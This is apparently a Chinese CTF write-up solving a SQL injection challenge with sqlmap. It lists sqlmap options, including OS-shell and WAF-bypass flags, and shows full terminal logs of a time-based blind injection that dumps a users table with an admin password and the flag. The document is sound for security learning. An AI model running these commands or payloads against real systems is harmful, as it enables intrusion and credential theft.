sqlmap學習筆記ing(1.Easy_SQLi(時間,表單注入))

題解

根據題目提示,應為SQL注入,題目頁面只有一個表單,用sqlmap進行表單注入。

使用--forms參數進行自動化表單注入,逐步得到flag。

### 總結參數作用:
-u        指定目標URL。
-C        指定列名(多個列用逗號分隔)。
-D        指定數據庫名。
-T        指定表名。
-r        從文件加載請求,保留請求細節,自動識別注入點。
--columns       枚舉指定表中的列。
--tables        枚舉指定數據庫中的表。
--dump          導出數據。
--dbs	        枚舉所有數據庫	sqlmap -u URL --dbs
--level	        測試深度(1-5)	--level 3(檢測Cookie注入)
--risk	        風險等級(1-3)	--risk 3(使用危險語句)
--proxy	        使用代理	--proxy="http://127.0.0.1:8080"
--tamper	    繞過WAF	--tamper=space2comment
--forms         自動處理表單,用于自動發現表單并注入。
--batch         無需用戶交互,自動選擇默認選項。
--current-db    獲取當前數據庫名。
--dump-all	    導出所有數據	sqlmap -u URL --dump-all
--os-shell	    獲取系統shell	sqlmap -u URL --os-shell
sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch --current-db
sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf --tables
sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf -T users --columns
sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf -T users -C id,password,username --dump
┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch --current-db_____H__                                                          ___ ___[(]_____ ___ ___  {1.9.2#stable}                              
|_ -| . [)]     | .'| . |                                             
|___|_  [']_|_|_|__,|  _|                                             |_|V...       |_|   https://sqlmap.org                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:18:50 /2025-07-01/[05:18:50] [INFO] testing connection to the target URL
[05:18:50] [INFO] searching for forms
[1/1] Form:
POST http://challenge.qsnctf.com:30316/login.php
POST data: uname=&psw=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: uname=&psw=] (Warning: blank fields detected): uname=&psw=
do you want to fill blank fields with random values? [Y/n] Y
[05:18:51] [INFO] resuming back-end DBMS 'mysql' 
[05:18:51] [INFO] using '/root/.local/share/sqlmap/output/results-07012025_0518am.csv' as the CSV results file in multiple targets mode     
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=1' AND (SELECT 8158 FROM (SELECT(SLEEP(5)))OZHS) AND 'yCGe'='yCGe&psw=1
---
do you want to exploit this SQL injection? [Y/n] Y
[05:18:51] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:18:51] [INFO] fetching current database
[05:18:51] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[05:18:59] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[05:19:10] [INFO] adjusting time delay to 1 second due to good response times
qsnctf
current database: 'qsnctf'
┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf --tables_____H__                                                          ___ ___[,]_____ ___ ___  {1.9.2#stable}                              
|_ -| . ["]     | .'| . |                                             
|___|_  [,]_|_|_|__,|  _|                                             |_|V...       |_|   https://sqlmap.org                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:27:27 /2025-07-01/[05:27:27] [INFO] testing connection to the target URL
[05:27:27] [INFO] searching for forms
[1/1] Form:
POST http://challenge.qsnctf.com:30316/login.php
POST data: uname=&psw=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: uname=&psw=] (Warning: blank fields detected): uname=&psw=
do you want to fill blank fields with random values? [Y/n] Y
[05:27:28] [INFO] resuming back-end DBMS 'mysql' 
[05:27:28] [INFO] using '/root/.local/share/sqlmap/output/results-07012025_0527am.csv' as the CSV results file in multiple targets mode     
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=1' AND (SELECT 8158 FROM (SELECT(SLEEP(5)))OZHS) AND 'yCGe'='yCGe&psw=1
---
do you want to exploit this SQL injection? [Y/n] Y
[05:27:28] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.6.40, Nginx 1.14.2
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:27:28] [INFO] fetching tables for database: 'qsnctf'
[05:27:28] [INFO] fetching number of tables for database 'qsnctf'
[05:27:28] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[05:27:31] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
1
[05:27:37] [INFO] retrieved: 
[05:27:47] [INFO] adjusting time delay to 1 second due to good response times
users
Database: qsnctf
[1 table]
+-------+
| users |
+-------+
┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf -T users --columns_____H__                                                          ___ ___["]_____ ___ ___  {1.9.2#stable}                              
|_ -| . ["]     | .'| . |                                             
|___|_  [.]_|_|_|__,|  _|                                             |_|V...       |_|   https://sqlmap.org                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:29:34 /2025-07-01/[05:29:34] [INFO] testing connection to the target URL
[05:29:34] [INFO] searching for forms
[1/1] Form:
POST http://challenge.qsnctf.com:30316/login.php
POST data: uname=&psw=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: uname=&psw=] (Warning: blank fields detected): uname=&psw=
do you want to fill blank fields with random values? [Y/n] Y
[05:29:34] [INFO] resuming back-end DBMS 'mysql' 
[05:29:34] [INFO] using '/root/.local/share/sqlmap/output/results-07012025_0529am.csv' as the CSV results file in multiple targets mode     
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=1' AND (SELECT 8158 FROM (SELECT(SLEEP(5)))OZHS) AND 'yCGe'='yCGe&psw=1
---
do you want to exploit this SQL injection? [Y/n] Y
[05:29:35] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:29:35] [INFO] fetching columns for table 'users' in database 'qsnctf'                                                                   
[05:29:35] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[05:29:38] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[05:29:53] [INFO] adjusting time delay to 1 second due to good response times
3
[05:29:53] [INFO] retrieved: id
[05:30:01] [INFO] retrieved: int(11)
[05:30:32] [INFO] retrieved: username
[05:31:01] [INFO] retrieved: text
[05:31:20] [INFO] retrieved: password
[05:31:53] [INFO] retrieved: text
Database: qsnctf
Table: users
[3 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| id       | int(11) |
| password | text    |
| username | text    |
+----------+---------+
┌──(root💀kali)-[/home/kali/Desktop]
└─# sqlmap -u "http://challenge.qsnctf.com:30316/" --forms --batch -D qsnctf -T users -C id,password,username --dump_____H__                                                          ___ ___[.]_____ ___ ___  {1.9.2#stable}                              
|_ -| . [)]     | .'| . |                                             
|___|_  ["]_|_|_|__,|  _|                                             |_|V...       |_|   https://sqlmap.org                          [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 05:33:55 /2025-07-01/[05:33:55] [INFO] testing connection to the target URL
[05:33:55] [INFO] searching for forms
[1/1] Form:
POST http://challenge.qsnctf.com:30316/login.php
POST data: uname=&psw=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: uname=&psw=] (Warning: blank fields detected): uname=&psw=
do you want to fill blank fields with random values? [Y/n] Y
[05:33:56] [INFO] resuming back-end DBMS 'mysql' 
[05:33:56] [INFO] using '/root/.local/share/sqlmap/output/results-07012025_0533am.csv' as the CSV results file in multiple targets mode     
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=1' AND (SELECT 8158 FROM (SELECT(SLEEP(5)))OZHS) AND 'yCGe'='yCGe&psw=1
---
do you want to exploit this SQL injection? [Y/n] Y
[05:33:56] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2, PHP 5.6.40
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[05:33:56] [INFO] fetching entries of column(s) 'id,password,username' for table 'users' in database 'qsnctf'
[05:33:56] [INFO] fetching number of column(s) 'id,password,username' entries for table 'users' in database 'qsnctf'
[05:33:56] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
[05:33:59] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
2
[05:34:10] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[05:34:18] [INFO] adjusting time delay to 1 second due to good response times
1
[05:34:20] [INFO] retrieved: 123456
[05:34:41] [INFO] retrieved: admin
[05:34:59] [INFO] retrieved: 2
[05:35:03] [INFO] retrieved: flag{ca74d097080346969f41c257318a7411}
[05:37:45] [INFO] retrieved: user
Database: qsnctf
Table: users
[2 entries]
+----+----------------------------------------+----------+
| id | password                               | username |
+----+----------------------------------------+----------+
| 1  | 123456                                 | admin    |
| 2  | flag{ca74d097080346969f41c257318a7411} | user     |
+----+----------------------------------------+----------+

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/87479.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/87479.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/87479.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

SciPy 安裝使用教程

一、SciPy 簡介 SciPy(Scientific Python)是基于 NumPy 的開源科學計算庫,提供了數值積分、優化、信號處理、線性代數、統計分析等高級科學計算功能。它是構建 Python 科學計算生態系統的核心組件之一,常用于科研、工程、數據分析…

【AI大模型】通義大模型與現有企業系統集成實戰《CRM案例分析與安全最佳實踐》

簡介: 本文檔詳細介紹了基于通義大模型的CRM系統集成架構設計與優化實踐。涵蓋混合部署架構演進(新增向量緩存、雙通道同步)、性能基準測試對比、客戶意圖分析模塊、商機預測系統等核心功能實現。同時,深入探討了安全防護體系、三…

如何進行需求全周期管理

實現高效的需求全周期管理,應從以下五個方面入手:1、建立系統化需求來源渠道、2、設置清晰的評審與優先級策略、3、加強執行過程的協同與跟蹤、4、閉環需求驗收與上線反饋、5、構建長期的需求知識沉淀機制。 其中,“加強執行過程的協同與跟蹤…

熱傳導方程能量分析與邊界條件研究

題目 問題 10. (a) 考慮熱傳導方程在 J = ( ? ∞ , ∞ ) J = (-\infty, \infty) J=(?∞,∞) 上,證明“能量” E ( t ) = ∫ J u 2 ( x , t ) d x E(t) = \int_{J} u^{2}(x,t) dx E(t)=∫J?u2(x,t)dx (8) 不增加;進一步證明,除非 u ( x , t ) = 常數 u(x,t) = \text{常…

【AI News | 20250702】每日AI進展

AI Repos 1、LLM-RL-Visualized 提供100余張原創架構圖,全面涵蓋了 LLM (大語言模型)、VLM (視覺語言模型) 等大模型技術。內容深度解析了訓練算法(如 RL、RLHF、GRPO、DPO、SFT、CoT 蒸餾等)、效果優化策略(如 RAG、CoT&#xf…

安徽省企業如何做信創產品認證?信創認證流程與費用詳解

安徽省作為長三角一體化發展的重要成員,正大力推進信息技術應用創新(信創)產業發展。依托合肥“中國聲谷”、蕪湖機器人及智能裝備基地等產業集群,以及省內對信創產業的政策扶持,企業通過信創認證后,能更好…

百度文心 ERNIE 4.5 開源:開啟中國多模態大模型開源新時代

百度文心 ERNIE 4.5 開源:開啟中國多模態大模型開源新時代 隨著DeepSeek-R1的橫空出示,越來越多大公司開始開源模型,像DeepSeek R1發布的時候Kimi同步開源了技術文檔,隨著R1推動著思維鏈推理技術的發展,開源社區也出現…

22、企業項目管理(Project)全體系構建:從基礎框架到智能防呆的完整解決方案

項目管理能力——企業VUCA戰略落地的核心樞紐 在VUCA(烏卡時代,即VUCA時代,是指人們生活在一個不穩定性、不確定性、復雜性、模糊性的時代、境況或者世界中。vuca是volatility(易變性VUCA),uncertainty&am…

分布式定時任務:Elastic-Job-Lite

Elastic-Job-Lite 是一款由 Apache 開源的輕量級分布式任務調度框架,屬于 ShardingSphere 生態體系的一部分。它專注于分布式任務調度,支持彈性伸縮、分片處理、高可用等特性,且不依賴中心化架構。 一、基礎 (一)核心特…

記錄一次生產環境ActiveMQ無法啟動的問題

這次遇到一個問題,是ActiveMQ無法啟動的,跟以往的現象不一樣。這次是在服務器重啟后出異常。 1、啟動ActiveMQ時提示:activemq/data/kahadb/db.data(輸入輸出錯誤),NotFoundFileException異常 2、想著不應該…

大型語言模型幻覺檢測相關綜述

背景 1.1 幻覺檢測的定義與范圍 大型語言模型(LLMs)中的幻覺檢測 是指系統性地識別由LLMs生成的事實錯誤或無意義輸出的任務,而無需依賴外部證據 [Li et al., 2024; Zhang et al., 2024]。這項任務對于確保LLM生成內容的可靠性和可信度至關…

Python爬蟲與數據可視化教程

對于經常寫爬蟲的技術來說了,可視化大大的提高工作效率,可以讓獲取的數據更直觀的展示在面前,下面我將通過具體實操給大家展示下多種可視化具體教程,希望能都幫助大家。 下面是一個完整的Python爬蟲和數據可視化解決方案&#xff…

【GHS】Green Hills軟件MULTI-IDE的安裝教程

前言:MULTI-IDE作為一款Green Hills開發的支持C/C、Ada等語言的嵌入式開發環境,由于其優異的性能,所以在汽車電子軟件的開發中占有重要地位。但是這款IDE需要付費使用,對于個人學習而言不太友好,所以這里介紹一款PJ版本…

Web攻防-文件上傳黑白名單MIMEJS前端執行權限編碼解析OSS存儲分域名應用場景

知識點: 1、WEB攻防-文件上傳-前端&黑白名單&MIME&文件頭等 2、WEB攻防-文件上傳-執行權限&解碼還原&云存儲&分站等 3、WEB攻防-文件上傳-JS提取&特定漏洞&第三方編輯器 4、WEB攻防-文件上傳-思維導圖形成 常規文件上傳&#xff1a…

Odoo系統大型業務優化實戰

目錄 背景說明ORM與模型優化數據量處理策略接口與報表優化系統架構優化監控與診斷工具項目實戰總結(案例)后續優化建議性能優化檢查清單總結 一、背景說明 在 Odoo 項目中,隨著業務不斷擴展,系統常常面臨如下挑戰: …

【2.4 漫畫SpringBoot實戰】

?? 漫畫SpringBoot實戰 ?? 學習目標:掌握SpringBoot企業級開發,從零到一構建現代化Java應用 ?? 目錄 SpringBoot核心特性自動配置原理Web開發實戰數據訪問與事務監控與部署?? 漫畫引言 小明: “為什么SpringBoot這么受歡迎?” 架構師老王: “SpringBoot就像全自動…

美國站群服務器的優勢和應用與選擇指南

在當今數字化時代,互聯網業務的蓬勃發展促使各類企業和個人不斷尋求高效、穩定且功能強大的網絡解決方案。美國站群服務器作為一種備受矚目的網絡基礎設施,正逐漸成為眾多從事跨境電商、搜索引擎優化(SEO)、內容分發、數據采集等業…

智能合約基礎:Solidity語法速成

目錄 智能合約基礎:Solidity語法速成引言:區塊鏈的可編程世界1. Solidity基礎語法1.1 合約結構1.2 數據類型2. 核心概念詳解2.1 可見性修飾符2.2 狀態可變性2.3 錯誤處理2.4 事件與日志3. 高級特性3.1 繼承與接口3.2 修飾器3.3 委托調用與代理合約4. 完整DeFi質押合約實現5. …

SmartDV推出先進的H.264和H.265視頻編碼器和解碼器IP

向全球市場提供靈活、高度可配置、可定制的半導體設計知識產權(IP)和驗證IP(VIP)的開發商SmartDV? Technologies近日宣布:公司現已提供即刻可用的H.264和H.265視頻編碼器和解碼器IP解決方案。針對每一種技術&#xff…

數據結構學習day8---strstr+symlink+remove+rename+link+truncate

一、strstr 1.頭文件 #include <string.h> 2.函數原型 char *strstr(const char *haystack, const char *needle);3.功能 在一個字符串haystack中查找另一個字符串needle的第一次出現&#xff0c;并返回該位置的指針&#xff0c;如果找不到&#xff0c;則返回NULL。 …